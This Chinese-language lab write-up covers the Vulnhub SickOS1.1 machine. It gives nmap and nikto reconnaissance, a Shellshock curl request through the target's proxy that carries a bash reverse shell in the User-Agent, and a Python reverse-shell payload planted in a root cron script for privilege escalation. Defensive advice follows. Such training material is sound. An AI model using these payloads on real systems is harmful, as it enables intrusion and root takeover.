Vulnhub靶机实操笔记-SickOS1.1-解法二
字数 1048 2025-08-10 19:49:11
SickOS1.1靶机渗透测试实战教程(解法二)
一、环境准备
- 靶机下载链接:Vulnhub上的SickOS1.1
- 攻击机:Kali Linux或其他渗透测试发行版
- 网络配置:确保攻击机和靶机在同一网络段
二、信息收集阶段
1. 主机发现
使用Nmap进行主机存活判断:
sudo nmap -sn 192.168.32.0/24
2. 端口扫描
快速扫描开放端口(不低于10000的速度):
sudo nmap --min-rate 10000 -p- 192.168.32.137
3. 服务版本探测
对发现的端口进行TCP扫描:
sudo nmap -sT -sV -O -p22,3128,8080 192.168.32.137
UDP扫描:
sudo nmap -sU -p22,3128,8080 192.168.32.137
4. 漏洞扫描
使用Nmap的漏洞脚本扫描:
sudo nmap --script=vuln -p22,3128,8080 192.168.32.137
5. Web服务器扫描
使用Nikto进行Web服务器扫描:
sudo nikto -h 192.168.32.137 -useproxy http://192.168.32.137:3128
注意:这里使用了靶机的3128端口作为代理
三、漏洞利用(Shellshock)
1. CVE-2014-6271漏洞介绍
"破壳"漏洞存在于GNU Bash版本≤4.3的Linux系统中,当目标服务器开放与Bash交互的应用或服务时,可能获取与Bash运行用户相同权限的shell。
2. 漏洞利用步骤
- 首先在攻击机上设置监听:
sudo nc -lvvp 1234
- 使用curl通过代理发送恶意请求:
sudo curl -v --proxy http://192.168.32.137:3128 http://192.168.32.137/cgi-bin/status \
-H "User-Agent:bin/bash -i >& /dev/tcp/192.168.32.131/1234 0>&1;" -v
关键点:
- 必须使用绝对路径/bin/bash
- User-Agent头中注入恶意命令
- 通过靶机的3128端口代理发送请求
四、权限提升
1. 初步信息收集
查看已安装软件:
dpkg -l
转换为稳定交互shell:
python -c "import pty;pty.spawn('/bin/bash')"
2. 定时任务提权
- 检查系统定时任务:
cat /etc/crontab
cat /etc/cron.d/*
- 发现
/etc/cron.d/automate文件中有一个每分钟以root权限执行的Python脚本:
cat /etc/cron.d/automate
- 检查脚本权限:
ls -lai /var/www/connect.py
- 发现
connect.py有写权限,可以修改该文件
3. 制作反弹shell
使用Python反向shell payload(来自PayloadsAllTheThings):
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.32.131",4242))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
4. 实施提权
- 在攻击机上设置新的监听:
sudo nc -lvvp 4242
- 修改
connect.py文件:
cd /var/www
# 使用vi或其他编辑器修改connect.py文件,插入上述Python反向shell代码
- 等待定时任务执行(最多1分钟),即可获得root权限的shell
五、关键总结
- 信息收集:全面的端口扫描和服务识别是成功的基础
- 漏洞利用:Shellshock漏洞利用需要精确的请求构造
- 权限提升:定时任务是常见的提权途径,需要仔细检查
- 代理使用:通过靶机自身的代理服务发送攻击请求是此解法的关键
六、防御建议
- 及时更新Bash版本,修复Shellshock漏洞
- 限制cron任务脚本的写入权限
- 监控系统日志中的异常行为
- 限制代理服务的访问权限
通过以上步骤,我们完成了从信息收集到获取root权限的完整渗透测试过程。这个案例展示了如何利用Web应用漏洞和系统配置不当进行权限提升的典型过程。